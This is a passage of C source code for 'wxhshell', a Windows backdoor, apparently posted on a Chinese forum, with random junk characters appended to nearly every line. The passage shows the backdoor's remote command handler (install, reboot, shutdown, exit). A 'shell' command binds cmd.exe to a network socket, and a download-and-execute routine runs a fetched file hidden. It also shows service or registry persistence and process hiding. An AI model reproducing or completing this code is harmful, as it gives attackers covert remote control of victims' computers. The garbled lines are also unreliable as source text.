  // 帮助 i)mQ?Y#o  
  case '?': {  SE D_^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {*Tnl-m~  
    break; L"ob ))GF  
  } . Q$/\E  
  // 安装 !K5D:x  
  case 'i': { 3tAX4DnYrq  
    if(Install()) sH `(y)`_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `vj"HhC  
    else {Bm7'%i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f{j (H?5  
    break; -&3mOn& (1  
    } y4Fuh nb>  
  // 卸载 .Bb86Y=3  
  case 'r': { %}x$YD O  
    if(Uninstall()) 3El5g0'G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !w #x@6yq  
    else 6Lhfb\2?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LYvjqNC&4  
    break; QGI_aU  
    } Z{gJm9  
  // 显示 wxhshell 所在路径 \$%q< _l  
  case 'p': { %L;;W,l$`)  
    char svExeFile[MAX_PATH]; byB ESyV!O  
    strcpy(svExeFile,"\n\r"); i$b Het  
      strcat(svExeFile,ExeFile); @+ee0 CLT  
        send(wsh,svExeFile,strlen(svExeFile),0); Se>"=[=  
    break; s_`=ugue  
    } %\ef Mhn  
  // 重启 oM4Q_An  
  case 'b': { $b=4_UroS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =SqI# v  
    if(Boot(REBOOT)) tH\ aHU[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  XBF]|}%  
    else { zJ7=r#b  
    closesocket(wsh); 5Dv ;-G;  
    ExitThread(0); r"uOf;m  
    } ?.%'[n>P  
    break; qJ8@A}}8  
    } >nA6w$  
  // 关机 1P1"xT  
  case 'd': { @cz\'v6E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G*x"drP  
    if(Boot(SHUTDOWN)) f#3U,n8:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L@t}UC  
    else { j4hiMI;  
    closesocket(wsh); fZ)M Dq  
    ExitThread(0); 5\6S5JyIL  
    } eGi[LJ)np  
    break; k@i+gV%  
    } Ous_269cM  
  // 获取shell Q\ AM] U  
  case 's': { paG^W&`;  
    CmdShell(wsh); vUa&9Y  
    closesocket(wsh); GV aIZh<  
    ExitThread(0); $<[Q8V-  
    break; qek[p_7  
  } #A RQB2V  
  // 退出 :@H&v%h(u  
  case 'x': { ygA~d9"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8LMO2Wyq  
    CloseIt(wsh); {+&qC\YF  
    break; 9 Z 5!3  
    } PqO PRf  
  // 离开 tf5h/:  
  case 'q': { scsN2#D7U/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); os3jpFeG'  
    closesocket(wsh); BcfW94  
    WSACleanup(); `<z"BGQ  
    exit(1); S-$N!G~!  
    break; yi*2^??` 1  
        } ZB5:FtW4  
  } l|z0aF;z  
  } 7t@r}rC,K  
8?> #  
  // 提示信息 z~S(OM@olJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :U}.  
} 122%KS  
  } ~'[0-_]=f  
C`Oc%~UkC  
  return; S{qc1qj  
} !\DlX |  
R@+%~"Z  
// shell模块句柄 FKX+ z  
int CmdShell(SOCKET sock) C[Ap&S  
{ NM`5hd{  
STARTUPINFO si; X4c|*U=4  
ZeroMemory(&si,sizeof(si)); biBo?k;4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *Va;ra(V2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >;$C@  
PROCESS_INFORMATION ProcessInfo; /Vg=+FEO  
char cmdline[]="cmd"; ZCT\4Llv#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x'4q`xDa  
  return 0; iB]xYfQ&@V  
} LkUYh3  
pn:) Rq0  
// 自身启动模式 6cF~8  
int StartFromService(void) y*BS %xTF  
{ d'oh-dj %^  
typedef struct +PlA#DZu  
{ 5a`f % h%  
  DWORD ExitStatus; ,v#F6xv8  
  DWORD PebBaseAddress; OzVCqq"]  
  DWORD AffinityMask; 4dEfXrMf  
  DWORD BasePriority; EDl*UG83G  
  ULONG UniqueProcessId; T uk:: .jD  
  ULONG InheritedFromUniqueProcessId; R;G"LT  
}   PROCESS_BASIC_INFORMATION; ,EE,W0/zzM  
!iys\ AV  
PROCNTQSIP NtQueryInformationProcess; <WHu</  
8NE+G.:G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y#/mE!&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #cnh ~O  
FyF./  
  HANDLE             hProcess; ;*H@E(g  
  PROCESS_BASIC_INFORMATION pbi; x %hV5KW  
T4M"s;::1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XY_zF F  
  if(NULL == hInst ) return 0; i7%v2_  
=ObI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -/ltnx)j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +E7Os|m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <-]qU}-  
NMM$ m!zg  
  if (!NtQueryInformationProcess) return 0; V,*<E&+  
S`\03(zDA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sa7F-XM  
  if(!hProcess) return 0; =o!1}'1}}  
xA&RMu&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U5iyvU=UG  
1GaM!OC9  
  CloseHandle(hProcess); 5Al1u|;HB  
|+aUy^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `<"@&N^d  
if(hProcess==NULL) return 0; Bp7`W:?# "  
B%.vEk)*  
HMODULE hMod; Fad.!%[  
char procName[255]; mRNA,*  
unsigned long cbNeeded; mr 6~8 I  
EZY <k#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P,eP>55'K  
4eRV?tE9  
  CloseHandle(hProcess); 2m*g,J?ql  
(\I9eBm  
if(strstr(procName,"services")) return 1; // 以服务启动 qdOUvf  
lB(E:{6OZ  
  return 0; // 注册表启动 <73dXTZ0  
} e2dg{n$6"  
f i_'Ny>#  
// 主模块 R/O>^s!Co  
int StartWxhshell(LPSTR lpCmdLine) !bq3c(d  
{ ;h-W&i7  
  SOCKET wsl; ,(@JNtx  
BOOL val=TRUE; M SnRx*-  
  int port=0; g0Ff$-#7  
  struct sockaddr_in door; wAvnj  
*6` };ASK  
  if(wscfg.ws_autoins) Install(); ^E#i5d+'N  
. XVW2ISv  
port=atoi(lpCmdLine); it#,5#Y:  
\ ";^nk*  
if(port<=0) port=wscfg.ws_port; gB)Cmw*  
k vQ] }`a  
  WSADATA data; V#P`FX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eVetG,["  
6z'3e\x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r3BQo[ 't  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y"L7.B  
  door.sin_family = AF_INET; og~Uv"&?T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Po1/_# mu  
  door.sin_port = htons(port); 0XWhSrHM  
6 6%_p]U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m+a\NXWR?N  
closesocket(wsl); l} =@9A@  
return 1; v\3 \n3[u  
} LK}*k/eG  
&*nq.l76X`  
  if(listen(wsl,2) == INVALID_SOCKET) { +@"Ls P  
closesocket(wsl); Gpb<,v_3  
return 1; g.wDg  
} Ifu[L&U  
  Wxhshell(wsl); u(Kof'p7  
  WSACleanup(); sA|!b.q  
{@7xOOAw  
return 0; ~85>.o2RDW  
e a3f`z  
} 2gM/".|{  
tYk!Y/O}  
// 以NT服务方式启动 2N}UB=J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t8?$q})RL  
{ ^D5+ S`V  
DWORD   status = 0; `Q!#v{  
  DWORD   specificError = 0xfffffff; Oj,v88=  
Q&@e,7]V+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f =MP1q[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O,[9E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >oGs0mej  
  serviceStatus.dwWin32ExitCode     = 0; .ED8b5t|  
  serviceStatus.dwServiceSpecificExitCode = 0; A?+0Ce&qL  
  serviceStatus.dwCheckPoint       = 0; `bJ?8~ 8 *  
  serviceStatus.dwWaitHint       = 0; k E},>+W+  
U^&,xz$Cg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k5@PZFV  
  if (hServiceStatusHandle==0) return; h0oe'Xov  
b9Mp@I7Q-  
status = GetLastError(); 8:sQB% BB  
  if (status!=NO_ERROR) ]/6i#fTw  
{  X? l5}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /_D_W,#P  
    serviceStatus.dwCheckPoint       = 0; 3Ow bU  
    serviceStatus.dwWaitHint       = 0; t8ZzBD!dP  
    serviceStatus.dwWin32ExitCode     = status; f6])M)  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8svN*`[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oB$c-!&  
    return; L:_GpZ_  
  } )jPIBzMys  
: =f!>_r+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i1 >oRT{Z  
  serviceStatus.dwCheckPoint       = 0; o6/"IIso3  
  serviceStatus.dwWaitHint       = 0; <5]ufv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gjL+8Rk  
} :%4N4| Q  
WI6h G  
// 处理NT服务事件,比如:启动、停止 X8\UTHT& 0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !I jU*c@  
{ Qv}TUX4  
switch(fdwControl) $e, N5/O  
{ fda)t1u\8  
case SERVICE_CONTROL_STOP: j_{f(.5  
  serviceStatus.dwWin32ExitCode = 0; qHl>d*IZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r]=Z :  
  serviceStatus.dwCheckPoint   = 0; =oT4!OUf  
  serviceStatus.dwWaitHint     = 0; &hcD/*_Z  
  { ;Qi0j<dXd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <  UD90}  
  } re)7h$f}  
  return; ZKTY1JW_  
case SERVICE_CONTROL_PAUSE: :ggXVwpe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +.-g`Vyz*  
  break; cb5T-'hY  
case SERVICE_CONTROL_CONTINUE: y!VL`xV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PS3jCT  
  break; 2 -pv &  
case SERVICE_CONTROL_INTERROGATE: O<P(UT"  
  break; VVw5)O1'  
}; Y3JIDT^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  :!/ (N  
} /d*[za'0  
p5aqlYb6r  
// 标准应用程序主函数 $U4[a:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &>xz  
{ ]YrgkC35  
9T_fq56Oh6  
// 获取操作系统版本 rtdEIk  
OsIsNt=GetOsVer(); RpwDOG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eX$RD9 H  
T,9pd;k  
  // 从命令行安装 AD~_n ^  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~~3*o  
:(YFIW`59  
  // 下载执行文件 4YgO1}%G  
if(wscfg.ws_downexe) { UCo`l~K)qg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z]XjN@j"  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~7w LnB  
} wlFK#iK  
:;jRAjq"  
if(!OsIsNt) { i8A-h6E  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;]l`Q,*OXb  
HideProc(); ,B#*<_?E5  
StartWxhshell(lpCmdLine); [ D"5@  
} uhU'm@JZ  
else /5X_gjOL,  
  if(StartFromService()) 9\VV++}s>o  
  // 以服务方式启动 >eWORf>7  
  StartServiceCtrlDispatcher(DispatchTable); PXF u  
else Vy6~O|68=  
  // 普通方式启动 ^"iJ  
  StartWxhshell(lpCmdLine); q)3QmA~  
T>|Y_3YO_a  
return 0; OHv4Yy]$B  
}
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只看该作者 1 发表于: 2006-10-10
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